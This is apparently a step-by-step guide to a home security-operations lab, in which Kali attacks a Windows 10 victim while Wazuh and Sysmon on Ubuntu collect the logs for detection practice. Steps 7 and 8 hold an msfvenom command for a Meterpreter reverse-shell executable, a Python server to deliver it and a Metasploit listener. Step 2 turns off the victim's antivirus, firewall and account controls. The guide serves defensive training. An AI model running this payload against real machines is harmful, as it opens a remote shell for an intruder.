- Introduction
- Prerequisites
- Network Topology & NAT Configuration
- Step 1: Setting up Virtual Machines (VMs)
- Step 2: Additional Setup in Windows VM
- Step 3: Installing Sysmon on Windows
- Step 4: Verify Sysmon is Running
- Step 5: Installing Wazuh on Ubuntu VM
- Step 6: Installing Wazuh Agent on Windows VM
- Step 7: Generating Malware with msfvenom
- Step 8: Setting up a Metasploit Listener
- Step 9: Log Verification in Wazuh
- Step 10: Attack Detection & Analysis
- Troubleshooting
- Points to Remember
- Future Implementation
- References
This document provides a step-by-step guide to setting up a Security Operations Center (SOC) home lab. The lab consists of three virtual machines (VMs):
- Kali Linux (Attacker VM)
- Ubuntu (SIEM Center)
- Windows 10 (Victim Machine)
The objective of this lab is to simulate real-world security scenarios, analyze attacks, and improve cybersecurity skills.
| Category | Requirements |
|---|---|
| Operating Systems | - Ubuntu ISO (Latest LTS recommended) - Windows 10 ISO - Kali Linux Pre-built VM |
| System Requirements | - RAM: 8GB or 16GB (Higher is better) - Internet Connectivity: Required for downloads and updates |
| Logging & Monitoring Tools | - Wazuh (SIEM & security analytics) - Sysmon (System monitoring & event logging) |
[Kali (Attacker)]
▲
│
▼
[Windows (Victim)] ←→ [Ubuntu (SIEM)]
- Kali (Attacker) → Windows (Victim): Executes attacks.
- Windows (Victim) → Ubuntu (SIEM): Sends logs to Wazuh for analysis.
- Ubuntu (SIEM) → Kali (Attacker): Used for monitoring attack behavior.
- Open VirtualBox and navigate to File → Preferences → Network.
- Go to the NAT Networks tab and click Add.
- Assign a name (e.g., SOC_NAT) and configure the settings:
- Network CIDR: 10.0.2.0/24
- Enable DHCP: Checked
- Supports Port Forwarding: Checked
- Click OK to save.
- For each VM (Ubuntu, Kali, Windows):
- Open Settings → Network.
- Set Adapter 1 to NAT Network and select SOC_NAT.
- Set Adapter 2 (if needed) to Host-Only for internal communication.
- Download the latest Ubuntu LTS ISO from the official Ubuntu website.
- Create a new VM in VirtualBox or VMware:
- RAM: Allocate at least 2GB (4GB recommended).
- Storage: Assign 20GB or more.
- Network Adapter: Set to Bridged or Host-Only, depending on lab requirements.
- Attach the downloaded Ubuntu ISO and start the VM.
- Follow the installation steps:
- Choose Normal Installation and enable updates.
- Create a user account and set a strong password.
- Complete installation and restart the VM.
- Update the system:
sudo apt update && sudo apt upgrade -y
- Download the Kali Linux Pre-built VM from Kali's official website.
- Import the OVA file into VirtualBox or VMware.
- Configure system resources:
- RAM: At least 2GB (4GB recommended).
- Storage: Minimum 20GB.
- Start the VM and update Kali Linux:
sudo apt update && sudo apt upgrade -y
- Download the Windows 10 ISO from Microsoft's website.
- Create a new VM in VirtualBox or VMware:
- RAM: Allocate at least 4GB (8GB recommended).
- Storage: Assign 40GB or more.
- Network Adapter: Set to Bridged or Host-Only.
- Attach the Windows 10 ISO and start the VM.
- Follow the installation steps:
- Select the appropriate region, language, and edition.
- Complete the installation and create a user account.
- Disable Windows Updates (for lab stability) and install necessary tools.
- After setting up each VM, take a snapshot to restore a clean state when needed.
- VirtualBox: Go to Machine → Take Snapshot.
- VMware: Navigate to VM → Snapshot → Take Snapshot.
- Open Windows Security → Virus & Threat Protection.
- Click on Manage Settings and turn off Real-time Protection.
- Open Control Panel → Windows Defender Firewall.
- Click Turn Windows Defender Firewall on or off.
- Select Turn off Windows Defender Firewall for both private and public networks.
- Open Control Panel → User Accounts → Change User Account Control Settings.
- Drag the slider down to Never Notify and click OK.
- Restart the system for changes to take effect.
- Open Settings → System → Remote Desktop.
- Toggle Enable Remote Desktop to On.
- Click Advanced settings and allow connections.
- Open Run (Win + R) → Type gpedit.msc and press Enter.
- Navigate to Computer Configuration → Administrative Templates → Windows Components → Windows Update.
- Double-click Configure Automatic Updates, select Disabled and click OK.
- Open Run (Win + R) → Type secpol.msc and press Enter.
- Navigate to Local Policies → Audit Policy.
- Enable auditing for Logon Events, Object Access, and Process Tracking.
- Apply changes and restart the system.
- Download Sysmon from Microsoft Sysinternals.
- Install Sysmon with the configuration file:
sysmon -accepteula -i sysconfig-export.xmlRun the following command:
sysmon -c- If Sysmon is working, it will display the current configuration.
- Open Run (Win + R)
- Type
eventvwr.mscand press Enter - Navigate to Applications and Services Logs → Microsoft → Windows → Sysmon → Operational
- If you see logs, Sysmon is working!
curl -sO https://packages.wazuh.com/4.x/wazuh-install.sh
sudo bash wazuh-install.sh --quickstart- This script installs Wazuh Manager, Dashboard, and Filebeat.
- It will also set up Elasticsearch for log storage and Kibana for visualization.
sudo systemctl status wazuh-manager
sudo systemctl status filebeat
sudo systemctl status kibana- Get it from: Wazuh Agent Download
- Transfer the
.msifile to your Windows VM.
- Open the installer and follow the steps.
- During installation, set the Wazuh Manager IP to your Ubuntu VM's IP (use
ip ato check).
Edit the Wazuh agent configuration file:
<localfile>
<log_format>eventchannel</log_format>
<location>Microsoft-Windows-Sysmon/Operational</location>
</localfile>net stop wazuh-agent
net start wazuh-agentUse the following command to generate a payload:
msfvenom -p windowsx64/meterpreter/reverse_tcp LHOST=10.0.2.14 LPORT=4444 -f exe > shell.exeStart a simple Python HTTP server in the same directory as shell.exe:
python3 -m http.server 8080- Open a browser and enter the address:
10.0.2.14:8080 - Confirm that
shell.exeis downloaded in theC:\Users\Public\folder.
msfconsole
use exploit/multi/handler
set payload windowsx64/meterpreter/reverse_tcp
set LHOST 10.0.2.14
set LPORT 4444
exploit- On the Windows (Victim VM), run the payload:
C:\Users\Public\shell.exe- If successful, a Meterpreter session will open in Metasploit.
- Open the Wazuh Dashboard (Kibana).
- Navigate to Discover and filter logs using:
data.win.system.providerName: "Microsoft-Windows-Sysmon" - Check if logs show process creation and network connections.
- Open the Wazuh Dashboard in your browser.
- Navigate to Security Events or Alerts.
- Use the search/filter function to look for logs using the following table view with keys:
agent.ip
rule.id
data.win.eventdata.LogonGuid
data.win.eventdata.Commandline
- Ensure all VMs are configured with the correct network settings to avoid connectivity issues.
- Keep your system resources in check; allocate sufficient RAM and CPU to VMs for smooth performance.
- Regularly update Kali Linux, Ubuntu, and Windows to ensure you have the latest security patches.
- Take frequent snapshots before performing any major changes to avoid data loss.
- If Wazuh logs are not appearing, verify that the agent is running properly and Sysmon is configured correctly.
- When using Metasploit, ensure the correct payload and LHOST/LPORT settings are used to avoid failed exploits.
- Always take snapshots before executing attacks.
- Isolate the victim machine from the internet to prevent real-world damage.
- Analyze logs carefully to detect security threats.
- Hands-on experience in malware analysis and attack simulations.
- Familiarity with Sysmon, Wazuh, and Metasploit.
- Integration of Threat Intelligence Frameworks: Implement MISP or OpenCTI to enrich alerts with contextual intelligence.
- Integration of TheHive Project: Use TheHive for case management and investigation workflows.
- Automation: Implement security automation using Cortex or SOAR solutions for faster response to threats.
- Home Lab Video: YouTube Link: https://youtu.be/-8X7Ay4YCoA?si=yAr2qS22xM8av5fF
- Blog Guide: Simply Cyber Blog : https://www.simplycyber.io/post/uncover-the-secrets-of-a-home-soc-analyst-lab-step-by-step-walkthrough
I have attached the link to the log report for reference. Logs Link: https://github.com/smileycookie/SOC_Home_Lab/tree/main/Logs





















